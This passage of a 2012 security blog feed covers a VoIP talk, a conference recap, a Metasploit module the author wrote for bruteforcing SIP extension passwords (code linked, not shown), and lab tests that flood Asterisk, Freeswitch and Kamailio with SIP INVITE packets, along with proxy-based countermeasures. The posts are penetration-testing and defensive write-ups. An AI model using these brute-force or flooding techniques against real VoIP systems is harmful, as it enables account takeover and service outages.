		<content type="html">&lt;br /&gt;&lt;div dir=&quot;ltr&quot; id=&quot;internal-source-marker_0.19917911513917763&quot;&gt;&lt;span&gt;My colleague Antón (&lt;/span&gt;&lt;a href=&quot;https://twitter.com/AntonRoman&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;@AntonRoman&lt;/span&gt;&lt;/a&gt;&lt;span&gt;) and myself visited last Monday the &lt;a href=&quot;http://www.teleco.uvigo.es/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Telecommunication Engineering School&lt;/span&gt;&lt;/a&gt; at &lt;/span&gt;&lt;a href=&quot;http://www.uvigo.es/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Vigo University&lt;/span&gt;&lt;/a&gt;&lt;span&gt; in order to give a talk about VoIP, technologies and project that we’re involved in &lt;/span&gt;&lt;a href=&quot;http://quobis.com/&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Quobis&lt;/span&gt;&lt;/a&gt;&lt;span&gt;. As the year before, we were invited by the professor of the subject&amp;nbsp;&lt;/span&gt;&lt;span&gt;“&lt;/span&gt;&lt;span&gt;Switching laboratory”.&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;a href=&quot;http://gssi.det.uvigo.es/users/mlnores/personal/personal.html&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;Martín López Nores&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, to prepare a Kamailio practical exercise.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;span&gt;Antón  started explaining some basic VoIP concepts and then he went through  more advanced ones mainly focused in Kamailio SIP server (&lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/Quobis/presentacion-kamailio-uvigo09262011&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;slides&lt;/span&gt;&lt;/a&gt;&lt;span&gt;).Then,  I made a review and a demo of the most common VoIP vector attacks that  we found every day “in the wild” and their available countermeasures (&lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/Quobis/info-secvoip&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;slides&lt;/span&gt;&lt;/a&gt;&lt;span&gt;). &lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-mBKrBnpaoNE/UGRILvH1VXI/AAAAAAAAAhY/L1YV00Zlcqg/s1600/A3qORGFCYAEyqAt.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://1.bp.blogspot.com/-mBKrBnpaoNE/UGRILvH1VXI/AAAAAAAAAhY/L1YV00Zlcqg/s320/A3qORGFCYAEyqAt.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-BGgVHmrjvqo/UGRINzHRxJI/AAAAAAAAAhg/Oov9om_4AAw/s1600/A3q-2l8CUAEo-wh.jpg-large&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://2.bp.blogspot.com/-BGgVHmrjvqo/UGRINzHRxJI/AAAAAAAAAhg/Oov9om_4AAw/s320/A3q-2l8CUAEo-wh.jpg-large&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;span&gt;As the last course, we extended the mandatory practice with an optional exercise (you can download them from the links below):&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/Quobis/practica-lc-20112012-14472191&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;2011-2012&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;a href=&quot;http://www.slideshare.net/Quobis/kamailio-practice-quobisuniversity-of-vigo-laboratory-of-commutation-20122013&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;2012-2013&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;span&gt;We  encourage the students to give it a try, I strongly think this practice  could be very useful for their professional future. In fact, &amp;nbsp;Andrés  Souto (&lt;/span&gt;&lt;a href=&quot;https://twitter.com/kai670&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;@kai670&lt;/span&gt;&lt;/a&gt;&lt;span&gt;),  who did a great job last year while being a student of the last course,  is working now with us at Quobis. And last, but not least, we would  like to thank Martín for this opportunity of sharing a good time and  discovering skilled students.&lt;/span&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Bruteforcing SIP extensions with Metasploit</title>
		<link href="http://nicerosniunos.blogspot.com/2012/07/bruteforcing-sip-extensions-with.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-7215408297226664131</id>
		<updated>2012-07-29T22:19:00+00:00</updated>
		<content type="html">Hi, some time ago I published &lt;a href=&quot;http://nicerosniunos.blogspot.com.es/2011/09/voip-information-gathering-metasploit.html&quot; target=&quot;_blank&quot;&gt;this post&lt;/a&gt; about VoIP information gathering with Metasploit. For a minimal pentesting process, a module capable of bruteforcing discovered extensions password is needed. So I have developed it, if you know &lt;a href=&quot;http://blog.sipvicious.org/&quot; target=&quot;_blank&quot;&gt;SIPvicious&lt;/a&gt; suite this module provides &lt;i&gt;sipcrack&lt;/i&gt; tool features.&lt;br /&gt;&lt;br /&gt;Based on available SIP related modules I implemented &lt;a href=&quot;http://www.site.uottawa.ca/~bob/gradstudents/DigestAuthenticationReport.pdf&quot; target=&quot;_blank&quot;&gt;SIP Digest Authentication algorithm&lt;/a&gt; and &lt;i&gt;Msf::Auxiliary::AuthBrute&lt;/i&gt; mixin does the magic with possible user/password combinations. This picture shows an example of use in which extension 100 password is discovered (&lt;i&gt;100&lt;/i&gt;).&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-3xoHRZSDOUU/UBWLx5LuKoI/AAAAAAAAAfM/brskpAn-9qA/s1600/Captura+de+pantalla+de+2012-07-27+23:49:29.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;223&quot; src=&quot;http://3.bp.blogspot.com/-3xoHRZSDOUU/UBWLx5LuKoI/AAAAAAAAAfM/brskpAn-9qA/s400/Captura+de+pantalla+de+2012-07-27+23:49:29.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Source code:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb&quot; target=&quot;_blank&quot;&gt;UDP version&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb&quot; target=&quot;_blank&quot;&gt;TCP version &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In case you use the module outside a LAN is strongly recommended to add you external IP address (option &quot;EXTIP&quot;), trying to avoid SIP and NAT problems.&lt;br /&gt;&lt;br /&gt;Bye ;)</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">IV workshop on cryptography, privacy and security</title>
		<link href="http://javiermunhoz.com/blog/2012/05/30/iv-workshop-on-cryptography-privacy-and-security/"/>
		<id>http://javiermunhoz.com/blog/?p=517</id>
		<updated>2012-05-30T12:09:35+00:00</updated>
		<content type="html">&lt;p&gt;This year &lt;a href=&quot;http://www.gpul.org/&quot; title=&quot;G.P.U.L&quot;&gt;G.P.U.L&lt;/a&gt; held a new workshop (4th edition) on Cryptography, Security and Privacy. It was great &lt;a href=&quot;http://javiermunhoz.com/blog/2006/07/07/towards-free-antivirus-solutions/&quot; title=&quot;towards free antivirus solutions&quot;&gt;enjoying this event again&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the previous edition, I was among the speakers where I talked about &lt;a href=&quot;http://javiermunhoz.com/blog/2006/08/07/security-workshop-slides-06-q4/&quot; title=&quot;security workshop slides&quot;&gt;self-replicating computer code, infection techniques and how security software was handling all this stuff&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://javiermunhoz.com/blog/wp-content/uploads/2012/05/20120530-cps-workshop-ross.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This year, &lt;a href=&quot;http://www.cl.cam.ac.uk/~rja14/&quot; title=&quot;Ross Anderson home page&quot;&gt;Ross Anderson&lt;/a&gt; was among the speakers. Good news having one world-class security expert talking about cryptology and security. If you don&amp;#8217;t know Ross maybe you would like to check his &lt;a href=&quot;http://www.cl.cam.ac.uk/~rja14/&quot; title=&quot;Ross Anderson home page&quot;&gt;personal web page&lt;/a&gt; on Cambridge. Ross is professor of Security Engineering at the &lt;a href=&quot;http://www.cl.cam.ac.uk/&quot; title=&quot;Computer Laboratory - University of Cambridge&quot;&gt;Cambridge&amp;#8217;s Computer Laboratory&lt;/a&gt; where he runs serious and pragmatic research on topics resolving global security issues.&lt;/p&gt;
&lt;p&gt;On the other hand, maybe you know Ross&amp;#8217; book: &amp;#8216;&lt;a href=&quot;http://www.cl.cam.ac.uk/~rja14/book.html&quot; title=&quot;Security Engineering: A Guide to Building Dependable Distributed Systems&quot;&gt;Security Engineering: A Guide to Building Dependable Distributed Systems&lt;/a&gt;&amp;#8216;. This book is a comprehensive overview of the field while highlighting important details and fundamental security concepts. Currently, the second edition of this book is available. Though Ross released the first edition for free too.&lt;/p&gt;
&lt;p&gt;Anyway, it was great sharing some thoughts and talking to Ross about economics and psychology of information security. I guess it is a topic where both of us shed great passion. We discussed about how the new emergent vulnerability markets split the different security bugs based on value, raise hidden bugs out of the underground economy or how new bad incentives appear in concrete software business models among other topics.&lt;/p&gt;
&lt;p&gt;As usual, great management and coordination coming from G.P.U.L Congrats guys!&lt;/p&gt;</content>
		<author>
			<name>Javier Muñoz</name>
			<uri>http://javiermunhoz.com/blog</uri>
		</author>
		<source>
			<title type="html">old habits die hard » Security</title>
			<link rel="self" href="http://javiermunhoz.com/blog/category/security/feed/"/>
			<id>http://javiermunhoz.com/blog/category/security/feed/</id>
			<updated>2012-11-17T21:17:06+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Flooding Asterisk, Freeswitch and Kamailio with Metasploit</title>
		<link href="http://nicerosniunos.blogspot.com/2012/05/flooding-asterisk-freeswitch-and.html"/>
		<id>tag:blogger.com,1999:blog-7743819158194184549.post-4544334690728501787</id>
		<updated>2012-05-01T21:05:00+00:00</updated>
		<content type="html">&lt;span&gt;Hi, it has been a long time since my last post because of my new job and my final year project (&quot;VoIP denegation of service attacks&quot; for curious) but there is something&amp;nbsp;I found during my tests with&amp;nbsp;&lt;a href=&quot;http://www.freeswitch.org/&quot; target=&quot;_blank&quot;&gt;Freeswitch&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;http://www.kamailio.org/w/&quot; target=&quot;_blank&quot;&gt;Kamailio&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;http://www.asterisk.org/&quot; target=&quot;_blank&quot;&gt;Asterisk&lt;/a&gt;&amp;nbsp;that&amp;nbsp;I want to share.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;NOTE: Really,&amp;nbsp;guys of&amp;nbsp;&lt;a href=&quot;http://www.securitybydefault.com/&quot; target=&quot;_blank&quot;&gt;Security By Default&lt;/a&gt;&amp;nbsp;blog published us (my good friend &lt;a href=&quot;https://twitter.com/#%21/rmallof&quot; target=&quot;_blank&quot;&gt;Roi Mallo&lt;/a&gt; and me) &lt;a href=&quot;http://www.securitybydefault.com/2012/03/desarrollando-para-metasploit-ii.html&quot; target=&quot;_blank&quot;&gt;two articles&lt;/a&gt; about how to develop modules for Metasploit framework, another two are coming. &amp;nbsp;;)&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;During my project, among others, I developed a Metasploit module which can flood SIP protocol with common frames (INVITE, OPTIONS, REGISTER, BYE), I wrote it at Quobis (nice job ;) in order to use it for some private tests because actual software didn´t fit our needs, so we are going to probe how is the behavior of different GPL VoIP servers against this kind of attacks:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Asterisk: I think it needs no introduction, the famous softswitch/PBX software.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Freeswitch: It´s a newer softswitch that seems to be Asterisk replacement and I really like.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Kamailio (former OpenSER): It is the most known GPL&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.voip-info.org/wiki/view/SIP+proxy&quot; target=&quot;_blank&quot;&gt;SIP proxy&lt;/a&gt;&lt;span&gt;.&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-1tPZEfmzyBQ/T5_LHzXGFXI/AAAAAAAAAaI/uTGyGGcLCJE/s1600/1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://2.bp.blogspot.com/-1tPZEfmzyBQ/T5_LHzXGFXI/AAAAAAAAAaI/uTGyGGcLCJE/s400/1.png&quot; width=&quot;265&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Virtual machines&lt;/span&gt;&lt;/div&gt;&lt;span&gt;First of all I want to be clear about two things:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Test were made without any protection on the server side, in a real environment we shoud find&amp;nbsp;(in theory xD)&amp;nbsp;something like Iptables, Snort, Fail2ban, &lt;a href=&quot;http://www.kamailio.org/docs/modules/1.4.x/pike.html&quot; target=&quot;_blank&quot;&gt;Pike&lt;/a&gt;&amp;nbsp;or a propietary &lt;a href=&quot;http://en.wikipedia.org/wiki/Session_border_controller&quot; target=&quot;_blank&quot;&gt;Session border controller&lt;/a&gt; in large arquitectures. Anyway, it should be enough for this proof of concept.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;- Asterisk and Freeswitch are &lt;a href=&quot;http://en.wikipedia.org/wiki/Private_branch_exchange#Private_branch_exchange&quot; target=&quot;_blank&quot;&gt;PBX&lt;/a&gt; software, they were not designed to run between the limits of the infrastructure and Internet, although they are usually placed there. In fact, one of the reason of this post is to show the importance of using a SIP Proxy because of security and performance reasons.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;Next pictures show an example of the Metasploit module use and generated traffic, we will use the same attack against differents IPs, so I´m showing it once only:&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-utjZmVoVuCk/T5_SIjvffLI/AAAAAAAAAaU/rpFUdrkAWNk/s1600/2.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;357&quot; src=&quot;http://4.bp.blogspot.com/-utjZmVoVuCk/T5_SIjvffLI/AAAAAAAAAaU/rpFUdrkAWNk/s400/2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Module use and config&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-KSdUdGUHjiQ/T5_SP4TRCbI/AAAAAAAAAak/fSRtATOIlgQ/s1600/3.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;280&quot; src=&quot;http://2.bp.blogspot.com/-KSdUdGUHjiQ/T5_SP4TRCbI/AAAAAAAAAak/fSRtATOIlgQ/s400/3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Captured traffic&lt;/span&gt;&lt;/div&gt;&lt;span&gt;I chose INVITE packets because they are much more effective against all kind of SIP devices and TIMEOUT to 0 trying to get more traffic. Then,&amp;nbsp;the results:&lt;/span&gt;&lt;br /&gt;&lt;span&gt;NOTE: With Wireshark filter &quot;sip.Method==REGISTER or sip.Status-Code==200 and !sdp&quot; we can see if a softphone (&lt;a href=&quot;http://jitsi.org/&quot; target=&quot;_blank&quot;&gt;Jitsi&lt;/a&gt; in this case) could be registered , this way we can confirm if tested software losts some REGISTER packages&amp;nbsp;under attack.&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-Qd2ZjWAoeY0/T5_TV4EJnnI/AAAAAAAAAas/cv9K17cPRLs/s1600/Captura+de+pantalla+de+2012-05-01+13:41:29.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://3.bp.blogspot.com/-Qd2ZjWAoeY0/T5_TV4EJnnI/AAAAAAAAAas/cv9K17cPRLs/s400/Captura+de+pantalla+de+2012-05-01+13:41:29.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-1XHeHaIHW94/T5_TcN20UPI/AAAAAAAAAa0/LGa8BpWp6b4/s1600/Captura+de+pantalla+de+2012-05-01+13:47:10.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;340&quot; src=&quot;http://3.bp.blogspot.com/-1XHeHaIHW94/T5_TcN20UPI/AAAAAAAAAa0/LGa8BpWp6b4/s400/Captura+de+pantalla+de+2012-05-01+13:47:10.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Metasploit vs. Asterisk&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-FT_0i5T3HWo/T6AH1ymHrVI/AAAAAAAAAbA/s0Vyi6op4Mw/s1600/Captura+de+pantalla+de+2012-05-01+17%253A29%253A05.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://1.bp.blogspot.com/-FT_0i5T3HWo/T6AH1ymHrVI/AAAAAAAAAbA/s0Vyi6op4Mw/s400/Captura+de+pantalla+de+2012-05-01+17%253A29%253A05.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-FVoVbiA5SRw/T6AH3sXSg5I/AAAAAAAAAbI/DnD4TdXBQH0/s1600/Captura+de+pantalla+de+2012-05-01+17%253A29%253A13.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://1.bp.blogspot.com/-FVoVbiA5SRw/T6AH3sXSg5I/AAAAAAAAAbI/DnD4TdXBQH0/s400/Captura+de+pantalla+de+2012-05-01+17%253A29%253A13.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-SrkLZzGsImE/T6AIeOJwsNI/AAAAAAAAAbg/YZKhrES17F0/s1600/Captura+de+pantalla+de+2012-05-01+17:29:22.png&quot;&gt;&lt;span&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://3.bp.blogspot.com/-SrkLZzGsImE/T6AIeOJwsNI/AAAAAAAAAbg/YZKhrES17F0/s400/Captura+de+pantalla+de+2012-05-01+17:29:22.png&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-YAUhJLyY7Rk/T6AISX0AzRI/AAAAAAAAAbY/8ghNH2Qn-MU/s1600/Captura+de+pantalla+de+2012-05-01+17:30:17.png&quot;&gt;&lt;span&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://1.bp.blogspot.com/-YAUhJLyY7Rk/T6AISX0AzRI/AAAAAAAAAbY/8ghNH2Qn-MU/s400/Captura+de+pantalla+de+2012-05-01+17:30:17.png&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;span&gt;&lt;a href=&quot;http://1.bp.blogspot.com/-3_pRHMkfc9k/T6AIwB5Gd_I/AAAAAAAAAbo/4T2M9o2wkTQ/s1600/Captura+de+pantalla+de+2012-05-01+17:51:30.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;346&quot; src=&quot;http://1.bp.blogspot.com/-3_pRHMkfc9k/T6AIwB5Gd_I/AAAAAAAAAbo/4T2M9o2wkTQ/s400/Captura+de+pantalla+de+2012-05-01+17:51:30.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Metasploit vs. Freeswitch&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-UVt7-qeyYXg/T6AbFK9TfZI/AAAAAAAAAdQ/4xeZSW4MwV4/s1600/Captura+de+pantalla+de+2012-05-01+18:14:19.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://2.bp.blogspot.com/-UVt7-qeyYXg/T6AbFK9TfZI/AAAAAAAAAdQ/4xeZSW4MwV4/s400/Captura+de+pantalla+de+2012-05-01+18:14:19.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://3.bp.blogspot.com/--4MwTLaRhBQ/T6AbTzkiAaI/AAAAAAAAAdg/LvLl7KGguBg/s1600/Captura+de+pantalla+de+2012-05-01+18:16:23.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://3.bp.blogspot.com/--4MwTLaRhBQ/T6AbTzkiAaI/AAAAAAAAAdg/LvLl7KGguBg/s400/Captura+de+pantalla+de+2012-05-01+18:16:23.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-mqBPJc2yVhU/T6AnUkfqcPI/AAAAAAAAAd8/px7l4oG8OhI/s1600/Captura+de+pantalla+de+2012-05-01+18:16:14.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://2.bp.blogspot.com/-mqBPJc2yVhU/T6AnUkfqcPI/AAAAAAAAAd8/px7l4oG8OhI/s400/Captura+de+pantalla+de+2012-05-01+18:16:14.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-3RHIn18fRwU/T6AnazF5nAI/AAAAAAAAAeE/J01W6keUwrQ/s1600/Captura+de+pantalla+de+2012-05-01+18:16:46.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; src=&quot;http://2.bp.blogspot.com/-3RHIn18fRwU/T6AnazF5nAI/AAAAAAAAAeE/J01W6keUwrQ/s400/Captura+de+pantalla+de+2012-05-01+18:16:46.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot;&gt;&lt;span&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-v0l1IRFDZjE/T6AazEUgoDI/AAAAAAAAAdI/-Y0VQMih0bc/s1600/Captura+de+pantalla+de+2012-05-01+18:18:21.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;325&quot; src=&quot;http://3.bp.blogspot.com/-v0l1IRFDZjE/T6AazEUgoDI/AAAAAAAAAdI/-Y0VQMih0bc/s400/Captura+de+pantalla+de+2012-05-01+18:18:21.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Metasploit vs. Kamailio&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span&gt;Pictures show how Metasploit module can flood both Asterisk and Freeswitch, but not Kamailio. Moreover, Asterisk lost REGISTER packets under the attack and Freeswitch did &quot;strange&quot; things answering with a lot of &quot;200 OK&quot; responses. This problem would be much more important in a real environment with hundreds of phones trying to register at the same time.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;As conclusion we can confirm the use of Kamailio (I think OpenSIPS or another SIP Proxy would reach the same results) as frontier with &quot;the wild&quot;. In addition we can also use Pike module for DoS protection and we could suppose that it would respond to a high volume of traffic in a better way than other two alternatives. To sum up I would like to remark that we can see Kamailio creates different forks to manage connections, this seems to be the key of its good performance. But next times I will show how to flood Kamailio with better results and the countermeasurements to protect yourself against it. ;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content>
		<author>
			<name>Jesús Pérez</name>
			<email>noreply@blogger.com</email>
			<uri>http://nicerosniunos.blogspot.com/search/label/PlanetSecurity</uri>
		</author>
		<source>
			<title type="html">Ni ceros ni unos ...</title>
			<subtitle type="html">... mind overflow ...</subtitle>
			<link rel="self" href="http://nicerosniunos.blogspot.com/feeds/posts/default/-/PlanetSecurity/"/>
			<id>tag:blogger.com,1999:blog-7743819158194184549</id>
			<updated>2013-06-10T16:17:04+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-US">
		<title type="html">Madrid/Root3d CON’2012</title>
		<link href="http://javiermunhoz.com/blog/2012/03/12/madridroot3d-con2012/"/>
		<id>http://javiermunhoz.com/blog/?p=486</id>
		<updated>2012-03-12T23:53:04+00:00</updated>
		<content type="html">&lt;p&gt;Just blogging a quick post after caming back from &lt;a href=&quot;http://www.rootedcon.es/&quot; title=&quot;http://www.rootedcon.es&quot;&gt;Root3d CON&lt;/a&gt; in &lt;a href=&quot;http://en.wikipedia.org/wiki/Madrid&quot; title=&quot;Madrid&quot;&gt;Madrid&lt;/a&gt;. This year I have to congratulate speakers again. They shared another year interesting ideas and good technical hacks. I would say this CON speaks loud and clear about the global security scene and the industry around it too. Congrats guys!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://javiermunhoz.com/blog/wp-content/uploads/2012/03/20120312-rootedcon.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Related to technical work I would like to highlight some hot topics covered in talks such as banking attacks, loading malware in Domain Name Servers (DNS), subverting domotic facilities, cracking industrial embedded devices or bouncing along IP videos and on-line weather stations across the globe.&lt;/p&gt;
&lt;p&gt;As you see, it was all about technical moments although meeting &lt;a href=&quot;http://eticanicomana.blogspot.com&quot; title=&quot;Nico Waisman's blog&quot;&gt;Nico Waisman&lt;/a&gt; was an enjoyable moment too &lt;img src=&quot;http://javiermunhoz.com/blog/wp-includes/images/smilies/icon_wink.gif&quot; alt=&quot;;)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Nico is VP of South America &lt;a href=&quot;http://www.immunityinc.com/&quot; title=&quot;Immunity Inc.&quot;&gt;Immunity, Inc.&lt;/a&gt; where he is in charge of an international skilled team developing professional &lt;a href=&quot;http://en.wikipedia.org/wiki/Exploit_(computer_security)&quot; title=&quot;Exploit&quot;&gt;exploits&lt;/a&gt; for &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_bug&quot; title=&quot;Computer bug&quot;&gt;bugs&lt;/a&gt; in software.&lt;/p&gt;
